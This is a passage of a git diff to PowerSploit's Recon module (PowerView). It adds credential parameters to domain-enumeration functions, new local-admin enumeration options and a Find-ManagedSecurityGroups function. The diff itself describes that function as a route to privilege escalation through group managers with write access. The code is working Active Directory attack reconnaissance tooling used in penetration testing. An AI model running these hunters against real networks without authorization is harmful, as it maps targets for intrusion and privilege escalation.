$TargetDomains = @( (Get-NetDomain -Credential $Credential).name )          }          ##################################################### @@ -8876,7 +9838,7 @@ function Invoke-EventHunter {                  [array]$ComputerName = @()                  ForEach ($Domain in $TargetDomains) {                      Write-Verbose "[*] Querying domain $Domain for hosts" -                    $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath +                    $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath                  }              }              else { @@ -8884,7 +9846,7 @@ function Invoke-EventHunter {                  [array]$ComputerName = @()                  ForEach ($Domain in $TargetDomains) {                      Write-Verbose "[*] Querying domain $Domain for domain controllers" -                    $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} +                    $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname}                  }              } @@ -8923,15 +9885,15 @@ function Invoke-EventHunter {          elseif($UserADSpath -or $UserFilter) {              ForEach ($Domain in $TargetDomains) {                  Write-Verbose "[*] Querying domain $Domain for users" -                $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { +                $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {                      $_.samaccountname                  }  | Where-Object {$_} -            }             +            }          }          else {              ForEach ($Domain in $TargetDomains) {                  Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" -                $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController | Foreach-Object { +                $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {                      $_.MemberName                  }              } @@ -8943,7 +9905,7 @@ function Invoke-EventHunter {          # script block that enumerates a server          $HostEnumBlock = { -            param($ComputerName, $Ping, $TargetUsers, $SearchDays) +            param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential)              # optionally check if the server is up first              $Up = $True @@ -8951,10 +9913,18 @@ function Invoke-EventHunter {                  $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName              }              if($Up) { -                # try to enumerate  -                Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { -                    # filter for the target user set -                    $TargetUsers -contains $_.UserName +                # try to enumerate +                if($Credential) { +                    Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { +                        # filter for the target user set +                        $TargetUsers -contains $_.UserName +                    } +                } +                else { +                    Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { +                        # filter for the target user set +                        $TargetUsers -contains $_.UserName +                    }                  }              }          } @@ -8971,10 +9941,11 @@ function Invoke-EventHunter {                  'Ping' = $(-not $NoPing)                  'TargetUsers' = $TargetUsers                  'SearchDays' = $SearchDays +                'Credential' = $Credential              }              # kick off the threaded script block + arguments  -            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams +            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads          }          else { @@ -8995,7 +9966,7 @@ function Invoke-EventHunter {                  Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)                  Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" -                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays +                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential              }          } @@ -9291,7 +10262,7 @@ function Invoke-ShareFinder {              }              # kick off the threaded script block + arguments  -            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams +            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads          }          else { @@ -9448,10 +10419,6 @@ function Invoke-FileFinder {          Switch. Mount target remote path with temporary PSDrives. -    .PARAMETER Credential - -        Credential to use to mount the PSDrive for searching. -      .EXAMPLE          PS C:\> Invoke-FileFinder @@ -9514,8 +10481,9 @@ function Invoke-FileFinder {          [Switch]          $FreshEXEs, +        [Alias('Terms')]          [String[]] -        $Terms, +        $SearchTerms,           [ValidateScript({Test-Path -Path $_ })]          [String] @@ -9577,10 +10545,7 @@ function Invoke-FileFinder {          $Threads,          [Switch] -        $UsePSDrive, - -        [System.Management.Automation.PSCredential] -        $Credential = [System.Management.Automation.PSCredential]::Empty +        $UsePSDrive      )      begin { @@ -9626,7 +10591,7 @@ function Invoke-FileFinder {          if ($TermList) {              ForEach ($Term in Get-Content -Path $TermList) {                  if (($Term -ne $Null) -and ($Term.trim() -ne '')) { -                    $Terms += $Term +                    $SearchTerms += $Term                  }              }          } @@ -9667,9 +10632,9 @@ function Invoke-FileFinder {                          Write-Verbose "[*] Adding share search path $DCSearchPath"                          $Shares += $DCSearchPath                      } -                    if(!$Terms) { +                    if(!$SearchTerms) {                          # search for interesting scripts on SYSVOL -                        $Terms = @('.vbs', '.bat', '.ps1') +                        $SearchTerms = @('.vbs', '.bat', '.ps1')                      }                  }                  else { @@ -9691,7 +10656,7 @@ function Invoke-FileFinder {          # script block that enumerates shares and files on a server          $HostEnumBlock = { -            param($ComputerName, $Ping, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential) +            param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)              Write-Verbose "ComputerName: $ComputerName"              Write-Verbose "ExcludedShares: $ExcludedShares" @@ -9737,7 +10702,7 @@ function Invoke-FileFinder {              ForEach($Share in $SearchShares) {                  $SearchArgs =  @{                      'Path' = $Share -                    'Terms' = $Terms +                    'SearchTerms' = $SearchTerms                      'OfficeDocs' = $OfficeDocs                      'FreshEXEs' = $FreshEXEs                      'LastAccessTime' = $LastAccessTime @@ -9748,7 +10713,6 @@ function Invoke-FileFinder {                      'CheckWriteAccess' = $CheckWriteAccess                      'OutFile' = $OutFile                      'UsePSDrive' = $UsePSDrive -                    'Credential' = $Credential                  }                  Find-InterestingFile @SearchArgs @@ -9765,7 +10729,7 @@ function Invoke-FileFinder {              $ScriptParams = @{                  'Ping' = $(-not $NoPing)                  'ExcludedShares' = $ExcludedShares -                'Terms' = $Terms +                'SearchTerms' = $SearchTerms                  'ExcludeFolders' = $ExcludeFolders                  'OfficeDocs' = $OfficeDocs                  'ExcludeHidden' = $ExcludeHidden @@ -9773,17 +10737,16 @@ function Invoke-FileFinder {                  'CheckWriteAccess' = $CheckWriteAccess                  'OutFile' = $OutFile                  'UsePSDrive' = $UsePSDrive -                'Credential' = $Credential              }              # kick off the threaded script block + arguments               if($Shares) {                  # pass the shares as the hosts so the threaded function code doesn't have to be hacked up -                Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams +                Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads              }              else { -                Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -            }         +                Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads +            }          }          else { @@ -9808,7 +10771,7 @@ function Invoke-FileFinder {                  Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" -                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential                 +                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive                              }          }      } @@ -10031,7 +10994,7 @@ function Find-LocalAdminAccess {              }              # kick off the threaded script block + arguments  -            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams +            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads          }          else { @@ -10052,7 +11015,7 @@ function Find-LocalAdminAccess {                  Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)                  Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" -                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs +                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False              }          }      } @@ -10121,6 +11084,11 @@ function Get-ExploitableSystem {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          The example below shows the standard command usage.  Disabled system are excluded by default, but @@ -10210,7 +11178,10 @@ function Get-ExploitableSystem {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      Write-Verbose "[*] Grabbing computer accounts from Active Directory..." @@ -10371,11 +11342,12 @@ function Get-ExploitableSystem {                  $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE)              }          } -    }      +    }      # Display results      $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object      $VulnComputerCount = $VulnComputer.Count +      if ($VulnComputer.Count -gt 0) {          # Return vulnerable server list order with some hack date casting          Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" @@ -10440,6 +11412,10 @@ function Invoke-EnumerateLocalAdmin {          Switch. Only return results that are not part of the local machine          or the machine's domain. Old Invoke-EnumerateLocalTrustGroup          functionality. +     +    .PARAMETER DomainOnly + +        Switch. Only return domain (non-local) results        .PARAMETER Domain @@ -10454,6 +11430,11 @@ function Invoke-EnumerateLocalAdmin {          Switch. Search all domains in the forest for target users instead of just          a single domain. +    .PARAMETER API + +        Switch. Use API calls instead of the WinNT service provider. Less information, +        but the results are faster. +      .PARAMETER Threads          The maximum concurrent threads to execute. @@ -10512,6 +11493,9 @@ function Invoke-EnumerateLocalAdmin {          [Switch]          $TrustGroups, +        [Switch] +        $DomainOnly, +          [String]          $Domain, @@ -10523,7 +11507,10 @@ function Invoke-EnumerateLocalAdmin {          [ValidateRange(1,100)]           [Int] -        $Threads +        $Threads, + +        [Switch] +        $API      )      begin { @@ -10592,7 +11579,7 @@ function Invoke-EnumerateLocalAdmin {          # script block that enumerates a server          $HostEnumBlock = { -            param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs) +            param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)              # optionally check if the server is up first              $Up = $True @@ -10601,18 +11588,27 @@ function Invoke-EnumerateLocalAdmin {              }              if($Up) {                  # grab the users for the local admins on this server -                $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName +                if($API) { +                    $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API +                } +                else { +                    $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName +                }                  # if we just want to return cross-trust users -                if($DomainSID -and $TrustGroupSIDS) { +                if($DomainSID) {                      # get the local machine SID                      $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" - +                    Write-Verbose "LocalSid for $ComputerName : $LocalSID"                      # filter out accounts that begin with the machine SID and domain SID                      #   but preserve any groups that have users across a trust ($TrustGroupSIDS)                      $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) }                  } +                if($DomainOnly) { +                    $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} +                } +                  if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) {                      # output the results to a csv if specified                      if($OutFile) { @@ -10624,11 +11620,10 @@ function Invoke-EnumerateLocalAdmin {                      }                  }                  else { -                    Write-Verbose "[!] No users returned from $Server" +                    Write-Verbose "[!] No users returned from $ComputerName"                  }              }          } -      }      process { @@ -10644,8 +11639,16 @@ function Invoke-EnumerateLocalAdmin {                  'TrustGroupsSIDs' = $TrustGroupsSIDs              } -            # kick off the threaded script block + arguments  -            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams +            # kick off the threaded script block + arguments +            if($API) { +                $ScriptParams['API'] = $True +            } + +            if($DomainOnly) { +                $ScriptParams['DomainOnly'] = $True +            } +          +            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads          }          else { @@ -10664,9 +11667,11 @@ function Invoke-EnumerateLocalAdmin {                  # sleep for our semi-randomized interval                  Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) -                  Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" -                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + +                $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) + +                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs              }          }      } @@ -10727,7 +11732,7 @@ function Get-NetDomainTrust {      param(          [Parameter(Position=0,ValueFromPipeline=$True)]          [String] -        $Domain = (Get-NetDomain).Name, +        $Domain,          [String]          $DomainController, @@ -10737,13 +11742,21 @@ function Get-NetDomainTrust {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      process { + +        if(!$Domain) { +            $Domain = (Get-NetDomain -Credential $Credential).Name +        } +          if($LDAP -or $DomainController) { -            $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize +            $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize              if($TrustSearcher) { @@ -10787,11 +11800,11 @@ function Get-NetDomainTrust {          else {              # if we're using direct domain connections -            $FoundDomain = Get-NetDomain -Domain $Domain +            $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential              if($FoundDomain) { -                (Get-NetDomain -Domain $Domain).GetAllTrustRelationships() -            }      +                $FoundDomain.GetAllTrustRelationships() +            }          }      }  } @@ -10807,6 +11820,11 @@ function Get-NetForestTrust {          Return trusts for the specified forest. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetForestTrust @@ -10824,11 +11842,15 @@ function Get-NetForestTrust {      param(          [Parameter(Position=0,ValueFromPipeline=$True)]          [String] -        $Forest +        $Forest, + +        [Management.Automation.PSCredential] +        $Credential      )      process { -        $FoundForest = Get-NetForest -Forest $Forest +        $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential +          if($FoundForest) {              $FoundForest.GetAllTrustRelationships()          } @@ -11102,6 +12124,76 @@ function Find-ForeignGroup {  } +function Find-ManagedSecurityGroups { +<# +    .SYNOPSIS + +        This function retrieves all security groups in the domain and identifies ones that +        have a manager set. It also determines whether the manager has the ability to add +        or remove members from the group. + +        Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com> +        License: BSD 3-Clause + +    .EXAMPLE + +        PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv + +        Store a list of all security groups with managers in group-managers.csv + +    .DESCRIPTION + +        Authority to manipulate the group membership of AD security groups and distribution groups  +        can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically +        used to delegate management authority to distribution groups, but Windows supports security groups +        being managed in the same way. + +        This function searches for AD groups which have a group manager set, and determines whether that +        user can manipulate group membership. This could be a useful method of horizontal privilege +        escalation, especially if the manager can manipulate the membership of a privileged group. + +    .LINK + +        https://github.com/PowerShellEmpire/Empire/pull/119 + +#> + +    # Go through the list of security groups on the domain and identify those who have a manager +    Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { + +        # Retrieve the object that the managedBy DN refers to +        $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname + +        # Create a results object to store our findings +        $results_object = New-Object -TypeName PSObject -Property @{ +            'GroupCN' = $_.cn +            'GroupDN' = $_.distinguishedname +            'ManagerCN' = $group_manager.cn +            'ManagerDN' = $group_manager.distinguishedName +            'ManagerSAN' = $group_manager.samaccountname +            'ManagerType' = '' +            'CanManagerWrite' = $FALSE +        } + +        # Determine whether the manager is a user or a group +        if ($group_manager.samaccounttype -eq 0x10000000) { +            $results_object.ManagerType = 'Group' +        } elseif ($group_manager.samaccounttype -eq 0x30000000) { +            $results_object.ManagerType = 'User' +        } + +        # Find the ACLs that relate to the ability to write to the group +        $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers + +        # Double-check that the manager +        if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { +            $results_object.CanManagerWrite = $TRUE +        } +        $results_object +    } +} + +  function Invoke-MapDomainTrust {  <#      .SYNOPSIS @@ -11122,6 +12214,11 @@ function Invoke-MapDomainTrust {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv @@ -11142,7 +12239,11 @@ function Invoke-MapDomainTrust {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential +      )      # keep track of domains seen so we don't hit infinite recursion @@ -11152,7 +12253,7 @@ function Invoke-MapDomainTrust {      $Domains = New-Object System.Collections.Stack      # get the current domain and push it onto the stack -    $CurrentDomain = (Get-NetDomain).Name +    $CurrentDomain = (Get-NetDomain -Credential $Credential).Name      $Domains.push($CurrentDomain)      while($Domains.Count -ne 0) { @@ -11160,7 +12261,7 @@ function Invoke-MapDomainTrust {          $Domain = $Domains.Pop()          # if we haven't seen this domain before -        if (-not $SeenDomains.ContainsKey($Domain)) { +        if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) {              Write-Verbose "Enumerating trusts for domain '$Domain'" @@ -11170,10 +12271,10 @@ function Invoke-MapDomainTrust {              try {                  # get all the trusts for this domain                  if($LDAP -or $DomainController) { -                    $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize +                    $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential                  }                  else { -                    $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize +                    $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential                  }                  if($Trusts -isnot [system.array]) { @@ -11181,7 +12282,7 @@ function Invoke-MapDomainTrust {                  }                  # get any forest trusts, if they exist -                $Trusts += Get-NetForestTrust -Forest $Domain +                $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential                  if ($Trusts) { @@ -11229,11 +12330,14 @@ $FunctionDefinitions = @(      (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),      (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),      (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), +    (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), +    (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),      (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), +    (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())),      (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])),      (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),      (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), -    (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(),  [Int32].MakeByRefType())), +    (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())),      (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())),      (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),      (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), @@ -11296,6 +12400,26 @@ $SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{      sesi10_idle_time = field 3 UInt32  } +# enum used by $LOCALGROUP_MEMBERS_INFO_2 below +$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ +    SidTypeUser             = 1 +    SidTypeGroup            = 2 +    SidTypeDomain           = 3 +    SidTypeAlias            = 4 +    SidTypeWellKnownGroup   = 5 +    SidTypeDeletedAccount   = 6 +    SidTypeInvalid          = 7 +    SidTypeUnknown          = 8 +    SidTypeComputer         = 9 +} + +# the NetLocalGroupGetMembers result structure +$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ +    lgrmi2_sid = field 0 IntPtr +    lgrmi2_sidusage = field 1 $SID_NAME_USE +    lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') +} +  $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'  $Netapi32 = $Types['netapi32'] diff --git a/Recon/README.md b/Recon/README.md index d992798..6e28a30 100644 --- a/Recon/README.md +++ b/Recon/README.md @@ -120,6 +120,8 @@ an array of hosts from the pipeline.      Invoke-ShareFinder              -   finds (non-standard) shares on hosts in the local domain
      Invoke-FileFinder               -   finds potentially sensitive files on hosts in the local domain
      Find-LocalAdminAccess           -   finds machines on the domain that the current user has local admin access to
 +    Find-ManagedSecurityGroups      -   searches for active directory security groups which are managed and identify users who have write access to
 +                                    -   those groups (i.e. the ability to add or remove members)
      Find-UserField                  -   searches a user field for a particular term
      Find-ComputerField              -   searches a computer field for a particular term
      Get-ExploitableSystem           -   finds systems likely vulnerable to common exploits
 diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 55f19f7..467fcdd 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -23,70 +23,71 @@ PowerShellVersion = '2.0'  # Functions to export from this module
  FunctionsToExport = @(
 -    'Get-ComputerDetails',
 -    'Get-HttpStatus',
 -    'Invoke-Portscan',
 -    'Invoke-ReverseDnsLookup',
 -    'Set-MacAttribute',
 -    'Copy-ClonedFile',
 +    'Add-NetUser',
 +    'Add-ObjectAcl',
      'Convert-NameToSid',
      'Convert-SidToName',
 -    'Convert-NT4toCanonical',
 -    'Get-Proxy',
 -    'Get-PathAcl',
 -    'Get-NetDomain',
 -    'Get-NetForest',
 -    'Get-NetForestDomain',
 -    'Get-NetForestCatalog',
 -    'Get-NetDomainController',
 -    'Get-NetUser',
 -    'Add-NetUser',
 -    'Get-UserProperty',
 +    'Convert-ADName',
 +    'ConvertFrom-UACValue',
 +    'Find-ComputerField',
 +    'Find-ForeignGroup',
 +    'Find-ForeignUser',
 +    'Find-GPOComputerAdmin',
 +    'Find-GPOLocation',
 +    'Find-InterestingFile',
 +    'Find-LocalAdminAccess',
 +    'Find-ManagedSecurityGroups',
      'Find-UserField',
 -    'Get-UserEvent',
 -    'Get-ObjectAcl',
 -    'Add-ObjectAcl',
 -    'Invoke-ACLScanner',
 -    'Get-NetComputer',
      'Get-ADObject',
 -    'Set-ADObject',
 +    'Get-CachedRDPConnection',
 +    'Get-ComputerDetails',
      'Get-ComputerProperty',
 -    'Find-ComputerField',
 -    'Get-NetOU',
 -    'Get-NetSite',
 -    'Get-NetSubnet',
 -    'Get-NetGroup',
 -    'Get-NetGroupMember',
 -    'Get-NetFileServer',
      'Get-DFSshare',
 +    'Get-DomainPolicy',
 +    'Get-ExploitableSystem',
 +    'Get-HttpStatus',
 +    'Get-LastLoggedOn',
 +    'Get-NetComputer',
 +    'Get-NetDomain',
 +    'Get-NetDomainController',
 +    'Get-NetDomainTrust',
 +    'Get-NetFileServer',
 +    'Get-NetForest',
 +    'Get-NetForestCatalog',
 +    'Get-NetForestDomain',
 +    'Get-NetForestTrust',
      'Get-NetGPO',
 +    'New-GPOImmediateTask',
      'Get-NetGPOGroup',
 -    'Find-GPOLocation',
 -    'Find-GPOComputerAdmin',
 -    'Get-DomainPolicy',
 +    'Get-NetGroup',
 +    'Get-NetGroupMember',
      'Get-NetLocalGroup',
 -    'Get-NetShare',
      'Get-NetLoggedon',
 -    'Get-NetSession',
 +    'Get-NetOU',
 +    'Get-NetProcess',
      'Get-NetRDPSession',
 +    'Get-NetSession',
 +    'Get-NetShare',
 +    'Get-NetSite',
 +    'Get-NetSubnet',
 +    'Get-NetUser',
 +    'Get-ObjectAcl',
 +    'Get-PathAcl',
 +    'Get-Proxy',
 +    'Get-UserEvent',
 +    'Get-UserProperty',
 +    'Invoke-ACLScanner',
      'Invoke-CheckLocalAdminAccess',
 -    'Get-LastLoggedOn',
 -    'Get-CachedRDPConnection',
 -    'Get-NetProcess',
 -    'Find-InterestingFile',
 -    'Invoke-UserHunter',
 -    'Invoke-ProcessHunter',
 +    'Invoke-EnumerateLocalAdmin',
      'Invoke-EventHunter',
 -    'Invoke-ShareFinder',
      'Invoke-FileFinder',
 -    'Find-LocalAdminAccess',
 -    'Get-ExploitableSystem',
 -    'Invoke-EnumerateLocalAdmin',
 -    'Get-NetDomainTrust',
 -    'Get-NetForestTrust',
 -    'Find-ForeignUser',
 -    'Find-ForeignGroup',
 -    'Invoke-MapDomainTrust'
 +    'Invoke-MapDomainTrust',
 +    'Invoke-Portscan',
 +    'Invoke-ProcessHunter',
 +    'Invoke-ReverseDnsLookup',
 +    'Invoke-ShareFinder',
 +    'Invoke-UserHunter',
 +    'Set-ADObject'
  )
  # List of all files packaged with this module
 |